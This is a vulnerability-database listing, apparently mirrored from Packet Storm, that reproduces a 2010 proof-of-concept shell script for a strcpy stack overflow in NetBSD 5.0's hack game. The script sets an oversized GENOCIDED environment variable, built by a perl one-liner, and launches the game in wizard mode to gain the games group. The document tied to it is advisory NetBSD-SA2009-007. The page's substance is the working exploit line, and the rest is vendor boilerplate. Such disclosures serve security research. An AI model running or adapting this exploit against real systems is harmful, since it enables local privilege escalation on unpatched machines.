Lucene search
K

NetBSD 5.0 Hack GENOCIDE Environment Overflow

🗓️ 19 May 2010 00:00:00Reported by jmitType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

NetBSD 5.0 Hack GENOCIDE Environment Overflow proof of concept, gives guid 100 (games), hard to exploit in NetBSD, original Advisorie: NetBSD-SA2009-007, hack rougelike game stack overflo

Code
`#!/bin/sh  
  
# NetBSD 5.0 and below Hack GENOCIDE Environment overflow proof of concept   
# Successfull Exploitation gives guid 100 (games)  
# Vulnerable Function is in hack.main.c.  
# /usr/games/hack -D use the wizard mode. Only work in wizard mode.  
# It is a basic strcpy stack overflow. Such overflows are hard to exploit in  
# NetBSD. If you can exploit it successfully feel free to contact me  
# Original Advisorie: NetBSD-SA2009-007  
  
# Title: hack rougelike game GENOCIDE stack overflow  
# Author: JMIT ([email protected])  
# Date: 18. May 2010  
# Software Link: Contained in all NetBSD Distributions as default  
# Version: NetBSD 5.0 and below  
# Tested on: NetBSD 5.0-RELEASE  
# CVE: Not available. See NetBSD-SA2009-007  
# Code:  
  
  
# [email protected]  
  
export GENOCIDED=`perl -e 'print "X"x15400;print "\x41\x42\x43\x44"x15'` && /usr/games/hack -D  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation